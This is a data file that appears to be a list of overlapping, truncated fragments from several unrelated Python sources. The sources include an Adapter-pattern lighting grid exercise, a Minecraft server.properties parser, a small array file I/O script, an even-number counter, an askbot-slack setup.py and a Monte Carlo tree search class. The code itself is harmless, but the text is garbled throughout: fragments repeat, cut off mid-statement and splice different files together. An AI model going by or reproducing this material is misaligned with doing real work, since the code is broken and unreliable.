"lights, obtacles = self.__find_all(grid) height, width = len(grid[0]), len(grid) self.adaptee.set_dim((height, width)) self.adaptee.set_lights(lights) self.adaptee.set_obstacles(obtacles)",
"lights): self.lights = lights self.generate_lights() def set_obstacles(self, obstacles): self.obstacles = obstacles self.generate_lights() def",
"for k, g in enumerate(j): if g == 1: lights.append((k, i)) if g",
"== '__main__': class Light: def __init__(self, dim): self.dim = dim self.grid = [[0",
"# Стены def get_lightening(self, light_mapper): self.lightmap = light_mapper.lighten(self.map) # for i in self.lightmap:",
"= len(grid[0]), len(grid) self.adaptee.set_dim((height, width)) self.adaptee.set_lights(lights) self.adaptee.set_obstacles(obtacles) return self.adaptee.generate_lights() def __find_all(self, grid): lights",
"in enumerate(grid): for k, g in enumerate(j): if g == 1: lights.append((k, i))",
"g == 1: lights.append((k, i)) if g == -1: obtacles.append((k, i)) return lights,",
"-1: obtacles.append((k, i)) return lights, obtacles if __name__ == '__main__': class Light: def",
"= self.__find_all(grid) height, width = len(grid[0]), len(grid) self.adaptee.set_dim((height, width)) self.adaptee.set_lights(lights) self.adaptee.set_obstacles(obtacles) return self.adaptee.generate_lights()",
"set_obstacles(self, obstacles): self.obstacles = obstacles self.generate_lights() def generate_lights(self): return self.grid.copy() class System: def",
"self.generate_lights() def generate_lights(self): return self.grid.copy() class System: def __init__(self): self.map = self.grid =",
"= lights self.generate_lights() def set_obstacles(self, obstacles): self.obstacles = obstacles self.generate_lights() def generate_lights(self): return",
"return lights, obtacles if __name__ == '__main__': class Light: def __init__(self, dim): self.dim",
"= 1 # Источники света self.map[5][2] = -1 # Стены def get_lightening(self, light_mapper):",
"[] def set_dim(self, dim): self.dim = dim self.grid = [[0 for i in",
"_ in range(dim[1])] self.lights = [] self.obstacles = [] def set_dim(self, dim): self.dim",
"in enumerate(j): if g == 1: lights.append((k, i)) if g == -1: obtacles.append((k,",
"self.lights = lights self.generate_lights() def set_obstacles(self, obstacles): self.obstacles = obstacles self.generate_lights() def generate_lights(self):",
"adaptee): self.adaptee = adaptee def lighten(self, grid): lights, obtacles = self.__find_all(grid) height, width",
"Источники света self.map[5][2] = -1 # Стены def get_lightening(self, light_mapper): self.lightmap = light_mapper.lighten(self.map)",
"self.adaptee.set_dim((height, width)) self.adaptee.set_lights(lights) self.adaptee.set_obstacles(obtacles) return self.adaptee.generate_lights() def __find_all(self, grid): lights = [] obtacles",
"for i in range(dim[0])] for _ in range(dim[1])] self.lights = [] self.obstacles =",
"lights = [] obtacles = [] for i, j in enumerate(grid): for k,",
"grid): lights = [] obtacles = [] for i, j in enumerate(grid): for",
"grid): lights, obtacles = self.__find_all(grid) height, width = len(grid[0]), len(grid) self.adaptee.set_dim((height, width)) self.adaptee.set_lights(lights)",
"= [[0 for i in range(30)] for _ in range(20)] self.map[5][7] = 1",
"def __init__(self): self.map = self.grid = [[0 for i in range(30)] for _",
"def __init__(self, adaptee): self.adaptee = adaptee def lighten(self, grid): lights, obtacles = self.__find_all(grid)",
"MappingAdapter: def __init__(self, adaptee): self.adaptee = adaptee def lighten(self, grid): lights, obtacles =",
"k, g in enumerate(j): if g == 1: lights.append((k, i)) if g ==",
"lights self.generate_lights() def set_obstacles(self, obstacles): self.obstacles = obstacles self.generate_lights() def generate_lights(self): return self.grid.copy()",
"i in range(dim[0])] for _ in range(dim[1])] self.lights = [] self.obstacles = []",
"for _ in range(dim[1])] def set_lights(self, lights): self.lights = lights self.generate_lights() def set_obstacles(self,",
"adaptee def lighten(self, grid): lights, obtacles = self.__find_all(grid) height, width = len(grid[0]), len(grid)",
"= -1 # Стены def get_lightening(self, light_mapper): self.lightmap = light_mapper.lighten(self.map) # for i",
"= adaptee def lighten(self, grid): lights, obtacles = self.__find_all(grid) height, width = len(grid[0]),",
"range(20)] self.map[5][7] = 1 # Источники света self.map[5][2] = -1 # Стены def",
"len(grid) self.adaptee.set_dim((height, width)) self.adaptee.set_lights(lights) self.adaptee.set_obstacles(obtacles) return self.adaptee.generate_lights() def __find_all(self, grid): lights = []",
"def __find_all(self, grid): lights = [] obtacles = [] for i, j in",
"== -1: obtacles.append((k, i)) return lights, obtacles if __name__ == '__main__': class Light:",
"light_mapper): self.lightmap = light_mapper.lighten(self.map) # for i in self.lightmap: # print(i) sys =",
"enumerate(j): if g == 1: lights.append((k, i)) if g == -1: obtacles.append((k, i))",
"self.map = self.grid = [[0 for i in range(30)] for _ in range(20)]",
"in range(dim[0])] for _ in range(dim[1])] self.lights = [] self.obstacles = [] def",
"Light: def __init__(self, dim): self.dim = dim self.grid = [[0 for i in",
"def set_obstacles(self, obstacles): self.obstacles = obstacles self.generate_lights() def generate_lights(self): return self.grid.copy() class System:",
"self.adaptee.set_obstacles(obtacles) return self.adaptee.generate_lights() def __find_all(self, grid): lights = [] obtacles = [] for",
"i)) return lights, obtacles if __name__ == '__main__': class Light: def __init__(self, dim):",
"dim self.grid = [[0 for i in range(dim[0])] for _ in range(dim[1])] self.lights",
"1 # Источники света self.map[5][2] = -1 # Стены def get_lightening(self, light_mapper): self.lightmap",
"1: lights.append((k, i)) if g == -1: obtacles.append((k, i)) return lights, obtacles if",
"lights, obtacles if __name__ == '__main__': class Light: def __init__(self, dim): self.dim =",
"return self.adaptee.generate_lights() def __find_all(self, grid): lights = [] obtacles = [] for i,",
"def set_lights(self, lights): self.lights = lights self.generate_lights() def set_obstacles(self, obstacles): self.obstacles = obstacles",
"<filename>Patterns/Adapter_solution.py class MappingAdapter: def __init__(self, adaptee): self.adaptee = adaptee def lighten(self, grid): lights,",
"obstacles self.generate_lights() def generate_lights(self): return self.grid.copy() class System: def __init__(self): self.map = self.grid",
"= self.grid = [[0 for i in range(30)] for _ in range(20)] self.map[5][7]",
"obtacles = self.__find_all(grid) height, width = len(grid[0]), len(grid) self.adaptee.set_dim((height, width)) self.adaptee.set_lights(lights) self.adaptee.set_obstacles(obtacles) return",
"for i, j in enumerate(grid): for k, g in enumerate(j): if g ==",
"self.adaptee.set_lights(lights) self.adaptee.set_obstacles(obtacles) return self.adaptee.generate_lights() def __find_all(self, grid): lights = [] obtacles = []",
"len(grid[0]), len(grid) self.adaptee.set_dim((height, width)) self.adaptee.set_lights(lights) self.adaptee.set_obstacles(obtacles) return self.adaptee.generate_lights() def __find_all(self, grid): lights =",
"= [] obtacles = [] for i, j in enumerate(grid): for k, g",
"self.grid = [[0 for i in range(dim[0])] for _ in range(dim[1])] def set_lights(self,",
"self.grid.copy() class System: def __init__(self): self.map = self.grid = [[0 for i in",
"self.generate_lights() def set_obstacles(self, obstacles): self.obstacles = obstacles self.generate_lights() def generate_lights(self): return self.grid.copy() class",
"width)) self.adaptee.set_lights(lights) self.adaptee.set_obstacles(obtacles) return self.adaptee.generate_lights() def __find_all(self, grid): lights = [] obtacles =",
"set_lights(self, lights): self.lights = lights self.generate_lights() def set_obstacles(self, obstacles): self.obstacles = obstacles self.generate_lights()",
"g == -1: obtacles.append((k, i)) return lights, obtacles if __name__ == '__main__': class",
"obstacles): self.obstacles = obstacles self.generate_lights() def generate_lights(self): return self.grid.copy() class System: def __init__(self):",
"__init__(self, adaptee): self.adaptee = adaptee def lighten(self, grid): lights, obtacles = self.__find_all(grid) height,"
] |
[
"__init__(self, file_path: str): self.file_path = file_path self.data = None # Gets the value",
"value of property def get(self, prop: str): return self.data.get(prop) # Sets property 'prop'",
"prop, val = values self.data[prop] = val return self def __exit__(self, exc_type, exc_val,",
"dict() with open(self.file_path, \"r\") as f: for l in f: line = l.strip()",
"self.data[prop] = val return self def __exit__(self, exc_type, exc_val, exc_tb): self.save() self.data =",
"= values self.data[prop] = val return self def __exit__(self, exc_type, exc_val, exc_tb): self.save()",
"since they're not important def save(self): with open(self.file_path, \"w\") as f: for prop,",
"self.save() self.data = None # Saves the data to the original file #",
"exc_type, exc_val, exc_tb): self.save() self.data = None # Saves the data to the",
"Minecraft server.properties files @dataclass class PropertiesParser: file_path: str data: dict def __init__(self, file_path:",
"= val def __enter__(self): self.data = dict() with open(self.file_path, \"r\") as f: for",
"# Comments are not saved since they're not important def save(self): with open(self.file_path,",
"not important def save(self): with open(self.file_path, \"w\") as f: for prop, val in",
"data: dict def __init__(self, file_path: str): self.file_path = file_path self.data = None #",
"file_path self.data = None # Gets the value of property def get(self, prop:",
"self.data[prop] = val def __enter__(self): self.data = dict() with open(self.file_path, \"r\") as f:",
"Sets property 'prop' to 'val' def set(self, prop: str, val: str): self.data[prop] =",
"# Parser to read and modify Minecraft server.properties files @dataclass class PropertiesParser: file_path:",
"line.split(\"=\") if len(values) != 2: continue prop, val = values self.data[prop] = val",
"def __exit__(self, exc_type, exc_val, exc_tb): self.save() self.data = None # Saves the data",
"class PropertiesParser: file_path: str data: dict def __init__(self, file_path: str): self.file_path = file_path",
"l.strip() # Skip comments if line.startswith(\"#\"): continue values = line.split(\"=\") if len(values) !=",
"# Saves the data to the original file # Comments are not saved",
"def __enter__(self): self.data = dict() with open(self.file_path, \"r\") as f: for l in",
"val return self def __exit__(self, exc_type, exc_val, exc_tb): self.save() self.data = None #",
"dataclass # Parser to read and modify Minecraft server.properties files @dataclass class PropertiesParser:",
"f: for l in f: line = l.strip() # Skip comments if line.startswith(\"#\"):",
"to the original file # Comments are not saved since they're not important",
"return self.data.get(prop) # Sets property 'prop' to 'val' def set(self, prop: str, val:",
"str): self.file_path = file_path self.data = None # Gets the value of property",
"!= 2: continue prop, val = values self.data[prop] = val return self def",
"property def get(self, prop: str): return self.data.get(prop) # Sets property 'prop' to 'val'",
"continue values = line.split(\"=\") if len(values) != 2: continue prop, val = values",
"in f: line = l.strip() # Skip comments if line.startswith(\"#\"): continue values =",
"None # Saves the data to the original file # Comments are not",
"server.properties files @dataclass class PropertiesParser: file_path: str data: dict def __init__(self, file_path: str):",
"str, val: str): self.data[prop] = val def __enter__(self): self.data = dict() with open(self.file_path,",
"if line.startswith(\"#\"): continue values = line.split(\"=\") if len(values) != 2: continue prop, val",
"file # Comments are not saved since they're not important def save(self): with",
"2: continue prop, val = values self.data[prop] = val return self def __exit__(self,",
"open(self.file_path, \"r\") as f: for l in f: line = l.strip() # Skip",
"values self.data[prop] = val return self def __exit__(self, exc_type, exc_val, exc_tb): self.save() self.data",
"= l.strip() # Skip comments if line.startswith(\"#\"): continue values = line.split(\"=\") if len(values)",
"line.startswith(\"#\"): continue values = line.split(\"=\") if len(values) != 2: continue prop, val =",
"def set(self, prop: str, val: str): self.data[prop] = val def __enter__(self): self.data =",
"= val return self def __exit__(self, exc_type, exc_val, exc_tb): self.save() self.data = None",
"dict def __init__(self, file_path: str): self.file_path = file_path self.data = None # Gets",
"the value of property def get(self, prop: str): return self.data.get(prop) # Sets property",
"Gets the value of property def get(self, prop: str): return self.data.get(prop) # Sets",
"prop: str): return self.data.get(prop) # Sets property 'prop' to 'val' def set(self, prop:",
"self.data.get(prop) # Sets property 'prop' to 'val' def set(self, prop: str, val: str):",
"exc_tb): self.save() self.data = None # Saves the data to the original file",
"for l in f: line = l.strip() # Skip comments if line.startswith(\"#\"): continue",
"of property def get(self, prop: str): return self.data.get(prop) # Sets property 'prop' to",
"f: line = l.strip() # Skip comments if line.startswith(\"#\"): continue values = line.split(\"=\")",
"= None # Gets the value of property def get(self, prop: str): return",
"val def __enter__(self): self.data = dict() with open(self.file_path, \"r\") as f: for l",
"file_path: str): self.file_path = file_path self.data = None # Gets the value of",
"Comments are not saved since they're not important def save(self): with open(self.file_path, \"w\")",
"as f: for l in f: line = l.strip() # Skip comments if",
"continue prop, val = values self.data[prop] = val return self def __exit__(self, exc_type,",
"self.file_path = file_path self.data = None # Gets the value of property def",
"the data to the original file # Comments are not saved since they're",
"Parser to read and modify Minecraft server.properties files @dataclass class PropertiesParser: file_path: str",
"\"r\") as f: for l in f: line = l.strip() # Skip comments",
"they're not important def save(self): with open(self.file_path, \"w\") as f: for prop, val",
"'prop' to 'val' def set(self, prop: str, val: str): self.data[prop] = val def",
"dataclasses import dataclass # Parser to read and modify Minecraft server.properties files @dataclass",
"= None # Saves the data to the original file # Comments are",
"files @dataclass class PropertiesParser: file_path: str data: dict def __init__(self, file_path: str): self.file_path",
"self.data = dict() with open(self.file_path, \"r\") as f: for l in f: line",
"file_path: str data: dict def __init__(self, file_path: str): self.file_path = file_path self.data =",
"property 'prop' to 'val' def set(self, prop: str, val: str): self.data[prop] = val",
"val: str): self.data[prop] = val def __enter__(self): self.data = dict() with open(self.file_path, \"r\")",
"if len(values) != 2: continue prop, val = values self.data[prop] = val return",
"data to the original file # Comments are not saved since they're not",
"str data: dict def __init__(self, file_path: str): self.file_path = file_path self.data = None",
"import dataclass # Parser to read and modify Minecraft server.properties files @dataclass class",
"str): return self.data.get(prop) # Sets property 'prop' to 'val' def set(self, prop: str,",
"prop: str, val: str): self.data[prop] = val def __enter__(self): self.data = dict() with",
"to 'val' def set(self, prop: str, val: str): self.data[prop] = val def __enter__(self):",
"return self def __exit__(self, exc_type, exc_val, exc_tb): self.save() self.data = None # Saves",
"not saved since they're not important def save(self): with open(self.file_path, \"w\") as f:",
"None # Gets the value of property def get(self, prop: str): return self.data.get(prop)",
"with open(self.file_path, \"r\") as f: for l in f: line = l.strip() #",
"set(self, prop: str, val: str): self.data[prop] = val def __enter__(self): self.data = dict()",
"and modify Minecraft server.properties files @dataclass class PropertiesParser: file_path: str data: dict def",
"self.data = None # Gets the value of property def get(self, prop: str):",
"read and modify Minecraft server.properties files @dataclass class PropertiesParser: file_path: str data: dict",
"def __init__(self, file_path: str): self.file_path = file_path self.data = None # Gets the",
"= dict() with open(self.file_path, \"r\") as f: for l in f: line =",
"PropertiesParser: file_path: str data: dict def __init__(self, file_path: str): self.file_path = file_path self.data",
"@dataclass class PropertiesParser: file_path: str data: dict def __init__(self, file_path: str): self.file_path =",
"comments if line.startswith(\"#\"): continue values = line.split(\"=\") if len(values) != 2: continue prop,",
"modify Minecraft server.properties files @dataclass class PropertiesParser: file_path: str data: dict def __init__(self,",
"saved since they're not important def save(self): with open(self.file_path, \"w\") as f: for",
"# Sets property 'prop' to 'val' def set(self, prop: str, val: str): self.data[prop]",
"__enter__(self): self.data = dict() with open(self.file_path, \"r\") as f: for l in f:",
"exc_val, exc_tb): self.save() self.data = None # Saves the data to the original",
"len(values) != 2: continue prop, val = values self.data[prop] = val return self",
"self def __exit__(self, exc_type, exc_val, exc_tb): self.save() self.data = None # Saves the",
"l in f: line = l.strip() # Skip comments if line.startswith(\"#\"): continue values",
"def save(self): with open(self.file_path, \"w\") as f: for prop, val in self.data.items(): f.write(f\"{prop}={val}\\n\")",
"original file # Comments are not saved since they're not important def save(self):",
"# Gets the value of property def get(self, prop: str): return self.data.get(prop) #",
"values = line.split(\"=\") if len(values) != 2: continue prop, val = values self.data[prop]",
"self.data = None # Saves the data to the original file # Comments",
"# Skip comments if line.startswith(\"#\"): continue values = line.split(\"=\") if len(values) != 2:",
"= line.split(\"=\") if len(values) != 2: continue prop, val = values self.data[prop] =",
"val = values self.data[prop] = val return self def __exit__(self, exc_type, exc_val, exc_tb):",
"the original file # Comments are not saved since they're not important def",
"from dataclasses import dataclass # Parser to read and modify Minecraft server.properties files",
"str): self.data[prop] = val def __enter__(self): self.data = dict() with open(self.file_path, \"r\") as",
"line = l.strip() # Skip comments if line.startswith(\"#\"): continue values = line.split(\"=\") if",
"def get(self, prop: str): return self.data.get(prop) # Sets property 'prop' to 'val' def",
"important def save(self): with open(self.file_path, \"w\") as f: for prop, val in self.data.items():",
"Skip comments if line.startswith(\"#\"): continue values = line.split(\"=\") if len(values) != 2: continue",
"__exit__(self, exc_type, exc_val, exc_tb): self.save() self.data = None # Saves the data to",
"are not saved since they're not important def save(self): with open(self.file_path, \"w\") as",
"get(self, prop: str): return self.data.get(prop) # Sets property 'prop' to 'val' def set(self,",
"= file_path self.data = None # Gets the value of property def get(self,",
"Saves the data to the original file # Comments are not saved since",
"to read and modify Minecraft server.properties files @dataclass class PropertiesParser: file_path: str data:",
"'val' def set(self, prop: str, val: str): self.data[prop] = val def __enter__(self): self.data"
] |
[
"i = 0 while i < 5: numero = int(input()) if numero %",
"= i = 0 while i < 5: numero = int(input()) if numero",
"def pares(): valores_pares = i = 0 while i < 5: numero =",
"5: numero = int(input()) if numero % 2 == 0: valores_pares += 1",
"numero % 2 == 0: valores_pares += 1 i += 1 print(f'{valores_pares} valores",
"% 2 == 0: valores_pares += 1 i += 1 print(f'{valores_pares} valores pares')",
"2 == 0: valores_pares += 1 i += 1 print(f'{valores_pares} valores pares') pares()",
"pares(): valores_pares = i = 0 while i < 5: numero = int(input())",
"= int(input()) if numero % 2 == 0: valores_pares += 1 i +=",
"i < 5: numero = int(input()) if numero % 2 == 0: valores_pares",
"< 5: numero = int(input()) if numero % 2 == 0: valores_pares +=",
"numero = int(input()) if numero % 2 == 0: valores_pares += 1 i",
"if numero % 2 == 0: valores_pares += 1 i += 1 print(f'{valores_pares}",
"int(input()) if numero % 2 == 0: valores_pares += 1 i += 1",
"= 0 while i < 5: numero = int(input()) if numero % 2",
"0 while i < 5: numero = int(input()) if numero % 2 ==",
"<filename>iniciante/python/1065-pares-entre-cinco-numeros.py def pares(): valores_pares = i = 0 while i < 5: numero",
"while i < 5: numero = int(input()) if numero % 2 == 0:",
"valores_pares = i = 0 while i < 5: numero = int(input()) if"
] |
[
"licensed under the terms of the MIT License. \"\"\" Check and improve the",
"rights reserved. # This project is licensed under the terms of the MIT",
"reserved. # This project is licensed under the terms of the MIT License.",
"of the MIT License. \"\"\" Check and improve the spelling and grammar of",
"Copyright 2020-2021 <NAME>. All rights reserved. # This project is licensed under the",
"All rights reserved. # This project is licensed under the terms of the",
"project is licensed under the terms of the MIT License. \"\"\" Check and",
"the MIT License. \"\"\" Check and improve the spelling and grammar of documents.",
"2020-2021 <NAME>. All rights reserved. # This project is licensed under the terms",
"terms of the MIT License. \"\"\" Check and improve the spelling and grammar",
"under the terms of the MIT License. \"\"\" Check and improve the spelling",
"is licensed under the terms of the MIT License. \"\"\" Check and improve",
"# Copyright 2020-2021 <NAME>. All rights reserved. # This project is licensed under",
"# This project is licensed under the terms of the MIT License. \"\"\"",
"<NAME>. All rights reserved. # This project is licensed under the terms of",
"the terms of the MIT License. \"\"\" Check and improve the spelling and",
"This project is licensed under the terms of the MIT License. \"\"\" Check",
"MIT License. \"\"\" Check and improve the spelling and grammar of documents. \"\"\""
] |
[
"str_split = str_.split(sep=\".\") return \".\" in str_ and len(str_split) == 3 and all(i.isnumeric()",
"return \".\" in str_ and len(str_split) == 3 and all(i.isnumeric() for i in",
"is_str_version(str_): str_split = str_.split(sep=\".\") return \".\" in str_ and len(str_split) == 3 and",
"str_.split(sep=\".\") return \".\" in str_ and len(str_split) == 3 and all(i.isnumeric() for i",
"def is_str_version(str_): str_split = str_.split(sep=\".\") return \".\" in str_ and len(str_split) == 3",
"= str_.split(sep=\".\") return \".\" in str_ and len(str_split) == 3 and all(i.isnumeric() for",
"\".\" in str_ and len(str_split) == 3 and all(i.isnumeric() for i in str_split)"
] |
[
"as f: f.write(nums) a = array.array('i', [0,0,0,0,0,0]) with open('data.bin', 'rb') as f: f.readinto(a)",
"nums = array.array('i', [1,2,3,4]) with open('data.bin', 'wb') as f: f.write(nums) a = array.array('i',",
"= array.array('i', [1,2,3,4]) with open('data.bin', 'wb') as f: f.write(nums) a = array.array('i', [0,0,0,0,0,0])",
"'wb') as f: f.write(nums) a = array.array('i', [0,0,0,0,0,0]) with open('data.bin', 'rb') as f:",
"f: f.write(nums) a = array.array('i', [0,0,0,0,0,0]) with open('data.bin', 'rb') as f: f.readinto(a) print(a)",
"import array nums = array.array('i', [1,2,3,4]) with open('data.bin', 'wb') as f: f.write(nums) a",
"array nums = array.array('i', [1,2,3,4]) with open('data.bin', 'wb') as f: f.write(nums) a =",
"with open('data.bin', 'wb') as f: f.write(nums) a = array.array('i', [0,0,0,0,0,0]) with open('data.bin', 'rb')",
"array.array('i', [1,2,3,4]) with open('data.bin', 'wb') as f: f.write(nums) a = array.array('i', [0,0,0,0,0,0]) with",
"open('data.bin', 'wb') as f: f.write(nums) a = array.array('i', [0,0,0,0,0,0]) with open('data.bin', 'rb') as",
"<reponame>ihaolin/script-repo import array nums = array.array('i', [1,2,3,4]) with open('data.bin', 'wb') as f: f.write(nums)",
"[1,2,3,4]) with open('data.bin', 'wb') as f: f.write(nums) a = array.array('i', [0,0,0,0,0,0]) with open('data.bin',"
] |
[
"\"Programming Language :: Python :: 2.6\", \"Programming Language :: Python :: 2.7\", ],",
":: Python :: 2.7\", ], py_modules=['askbot_slack'], install_requires=['askbot', 'requests'], author=\"<NAME>\", author_email=\"<EMAIL>\", description=\"Simple Slack integration",
"are created, edited or responded to in Askbot a message is sent to",
"from setuptools import setup setup( name=\"askbot-slack\", version=\"0.1.3\", classifiers=[ \"Development Status :: 5 -",
"integration for Askbot.\", long_description=\"When questions are created, edited or responded to in Askbot",
"Askbot a message is sent to a specified channel in Slack.\", license=\"MIT\", keywords=\"askbot",
"Production/Stable\", \"Intended Audience :: Developers\", \"Programming Language :: Python :: 2\", \"Programming Language",
"Language :: Python :: 2.7\", ], py_modules=['askbot_slack'], install_requires=['askbot', 'requests'], author=\"<NAME>\", author_email=\"<EMAIL>\", description=\"Simple Slack",
"in Askbot a message is sent to a specified channel in Slack.\", license=\"MIT\",",
"to in Askbot a message is sent to a specified channel in Slack.\",",
"long_description=\"When questions are created, edited or responded to in Askbot a message is",
"setuptools import setup setup( name=\"askbot-slack\", version=\"0.1.3\", classifiers=[ \"Development Status :: 5 - Production/Stable\",",
"\"Programming Language :: Python :: 2.7\", ], py_modules=['askbot_slack'], install_requires=['askbot', 'requests'], author=\"<NAME>\", author_email=\"<EMAIL>\", description=\"Simple",
"author_email=\"<EMAIL>\", description=\"Simple Slack integration for Askbot.\", long_description=\"When questions are created, edited or responded",
"Status :: 5 - Production/Stable\", \"Intended Audience :: Developers\", \"Programming Language :: Python",
"2\", \"Programming Language :: Python :: 2.6\", \"Programming Language :: Python :: 2.7\",",
"2.7\", ], py_modules=['askbot_slack'], install_requires=['askbot', 'requests'], author=\"<NAME>\", author_email=\"<EMAIL>\", description=\"Simple Slack integration for Askbot.\", long_description=\"When",
"a specified channel in Slack.\", license=\"MIT\", keywords=\"askbot slack integration\", url=\"https://github.com/jonmbake/askbot-slack\", include_package_data=True, zip_safe=False, )",
"Language :: Python :: 2.6\", \"Programming Language :: Python :: 2.7\", ], py_modules=['askbot_slack'],",
"name=\"askbot-slack\", version=\"0.1.3\", classifiers=[ \"Development Status :: 5 - Production/Stable\", \"Intended Audience :: Developers\",",
"], py_modules=['askbot_slack'], install_requires=['askbot', 'requests'], author=\"<NAME>\", author_email=\"<EMAIL>\", description=\"Simple Slack integration for Askbot.\", long_description=\"When questions",
"created, edited or responded to in Askbot a message is sent to a",
"classifiers=[ \"Development Status :: 5 - Production/Stable\", \"Intended Audience :: Developers\", \"Programming Language",
"Developers\", \"Programming Language :: Python :: 2\", \"Programming Language :: Python :: 2.6\",",
"to a specified channel in Slack.\", license=\"MIT\", keywords=\"askbot slack integration\", url=\"https://github.com/jonmbake/askbot-slack\", include_package_data=True, zip_safe=False,",
"2.6\", \"Programming Language :: Python :: 2.7\", ], py_modules=['askbot_slack'], install_requires=['askbot', 'requests'], author=\"<NAME>\", author_email=\"<EMAIL>\",",
":: 2.7\", ], py_modules=['askbot_slack'], install_requires=['askbot', 'requests'], author=\"<NAME>\", author_email=\"<EMAIL>\", description=\"Simple Slack integration for Askbot.\",",
":: Python :: 2.6\", \"Programming Language :: Python :: 2.7\", ], py_modules=['askbot_slack'], install_requires=['askbot',",
"5 - Production/Stable\", \"Intended Audience :: Developers\", \"Programming Language :: Python :: 2\",",
"version=\"0.1.3\", classifiers=[ \"Development Status :: 5 - Production/Stable\", \"Intended Audience :: Developers\", \"Programming",
"Python :: 2.6\", \"Programming Language :: Python :: 2.7\", ], py_modules=['askbot_slack'], install_requires=['askbot', 'requests'],",
"for Askbot.\", long_description=\"When questions are created, edited or responded to in Askbot a",
"setup setup( name=\"askbot-slack\", version=\"0.1.3\", classifiers=[ \"Development Status :: 5 - Production/Stable\", \"Intended Audience",
"Slack integration for Askbot.\", long_description=\"When questions are created, edited or responded to in",
":: Python :: 2\", \"Programming Language :: Python :: 2.6\", \"Programming Language ::",
"import setup setup( name=\"askbot-slack\", version=\"0.1.3\", classifiers=[ \"Development Status :: 5 - Production/Stable\", \"Intended",
"py_modules=['askbot_slack'], install_requires=['askbot', 'requests'], author=\"<NAME>\", author_email=\"<EMAIL>\", description=\"Simple Slack integration for Askbot.\", long_description=\"When questions are",
"Python :: 2\", \"Programming Language :: Python :: 2.6\", \"Programming Language :: Python",
"setup( name=\"askbot-slack\", version=\"0.1.3\", classifiers=[ \"Development Status :: 5 - Production/Stable\", \"Intended Audience ::",
"'requests'], author=\"<NAME>\", author_email=\"<EMAIL>\", description=\"Simple Slack integration for Askbot.\", long_description=\"When questions are created, edited",
"- Production/Stable\", \"Intended Audience :: Developers\", \"Programming Language :: Python :: 2\", \"Programming",
"description=\"Simple Slack integration for Askbot.\", long_description=\"When questions are created, edited or responded to",
"Audience :: Developers\", \"Programming Language :: Python :: 2\", \"Programming Language :: Python",
"\"Intended Audience :: Developers\", \"Programming Language :: Python :: 2\", \"Programming Language ::",
"author=\"<NAME>\", author_email=\"<EMAIL>\", description=\"Simple Slack integration for Askbot.\", long_description=\"When questions are created, edited or",
"install_requires=['askbot', 'requests'], author=\"<NAME>\", author_email=\"<EMAIL>\", description=\"Simple Slack integration for Askbot.\", long_description=\"When questions are created,",
"\"Development Status :: 5 - Production/Stable\", \"Intended Audience :: Developers\", \"Programming Language ::",
"sent to a specified channel in Slack.\", license=\"MIT\", keywords=\"askbot slack integration\", url=\"https://github.com/jonmbake/askbot-slack\", include_package_data=True,",
"responded to in Askbot a message is sent to a specified channel in",
"is sent to a specified channel in Slack.\", license=\"MIT\", keywords=\"askbot slack integration\", url=\"https://github.com/jonmbake/askbot-slack\",",
"Language :: Python :: 2\", \"Programming Language :: Python :: 2.6\", \"Programming Language",
"<gh_stars>1-10 from setuptools import setup setup( name=\"askbot-slack\", version=\"0.1.3\", classifiers=[ \"Development Status :: 5",
"or responded to in Askbot a message is sent to a specified channel",
":: 2\", \"Programming Language :: Python :: 2.6\", \"Programming Language :: Python ::",
":: 2.6\", \"Programming Language :: Python :: 2.7\", ], py_modules=['askbot_slack'], install_requires=['askbot', 'requests'], author=\"<NAME>\",",
"questions are created, edited or responded to in Askbot a message is sent",
":: 5 - Production/Stable\", \"Intended Audience :: Developers\", \"Programming Language :: Python ::",
"\"Programming Language :: Python :: 2\", \"Programming Language :: Python :: 2.6\", \"Programming",
"Askbot.\", long_description=\"When questions are created, edited or responded to in Askbot a message",
"edited or responded to in Askbot a message is sent to a specified",
":: Developers\", \"Programming Language :: Python :: 2\", \"Programming Language :: Python ::",
"message is sent to a specified channel in Slack.\", license=\"MIT\", keywords=\"askbot slack integration\",",
"a message is sent to a specified channel in Slack.\", license=\"MIT\", keywords=\"askbot slack",
"Python :: 2.7\", ], py_modules=['askbot_slack'], install_requires=['askbot', 'requests'], author=\"<NAME>\", author_email=\"<EMAIL>\", description=\"Simple Slack integration for"
] |
[
"post_node, action): self.pre_node = pre_node self.post_node = post_node self.turn = pre_node.turn self.action =",
"set_terminal_status(self): if self.player.life_points == 0 or self.opponent.life_points == 0: self.terminal = True else:",
"= action class InfoSet(): def __init__(self, player, opponent): self.player_hand = player.hand self.player_board =",
"in self.player_board.graveyard.get_cards()).sort() opponent_board_ids = (o.card_id for o in self.opponent_board.get_monsters()).sort() opponent_grave_ids = (o.card_id for",
"edge in self.edges: actions.append(edge.action) return actions def isLeaf(self): if len(self.edges) > 0: return",
"= pre_node.turn self.action = action class InfoSet(): def __init__(self, player, opponent): self.player_hand =",
"o in self.opponent_board.graveyard.get_cards()).sort() return hash(str(player_hand_ids) + \":\" + str(player_board_ids) + \":\" + str(player_grave_ids)",
"current_node = None else: edge = edges.pop(-1) current_node = edge.pre_node def ucb1(self, node_score,",
"= player.hand self.player_board = player.board self.opponent_hand_size = opponent.hand.get_size() self.opponent_board = opponent.board def __eq__(self,",
"= Edge(pre_node, post_node, action) pre_node.edges.append(edge) self.tree.add(post_node) return edge, post_node def back_propogate(self, node, edges,",
"logging class Node(): def __init__(self, player, opponent, turn_number, is_player_turn): self.player = player self.opponent",
"current_node.wins += 1 if not edges: current_node = None else: edge = edges.pop(-1)",
"and self.opponent_board == other.self.opponent_board) return False def __ne__(self, other): return not self.__eq__(other) def",
"class InfoSet(): def __init__(self, player, opponent): self.player_hand = player.hand self.player_board = player.board self.opponent_hand_size",
"opponent self.info_set = InfoSet(player, opponent) self.turn_number = turn_number self.sims = 0 self.wins =",
"self.opponent_board.get_monsters()).sort() opponent_grave_ids = (o.card_id for o in self.opponent_board.graveyard.get_cards()).sort() return hash(str(player_hand_ids) + \":\" +",
"player_board_ids = (o.card_id for o in self.player_board.get_monsters()).sort() player_grave_ids = (o.card_id for o in",
"edges, player_wins): #print \"Backpropogating with\", len(edges), \"edges\" current_node = node while current_node !=",
"= player self.opponent = opponent self.info_set = InfoSet(player, opponent) self.turn_number = turn_number self.sims",
"0 self.edges = [] if is_player_turn: self.turn = player else: self.turn = opponent",
"\":\" + str(player_grave_ids) + \":\" + str(self.opponent_hand_size) + \":\" + str(opponent_board_ids) + \":\"",
"if len(self.edges) > 0: return False else: return True class Edge(): def __init__(self,",
"Edge(pre_node, post_node, action) pre_node.edges.append(edge) self.tree.add(post_node) return edge, post_node def back_propogate(self, node, edges, player_wins):",
"= player else: self.turn = opponent self.set_terminal_status() def set_terminal_status(self): if self.player.life_points == 0",
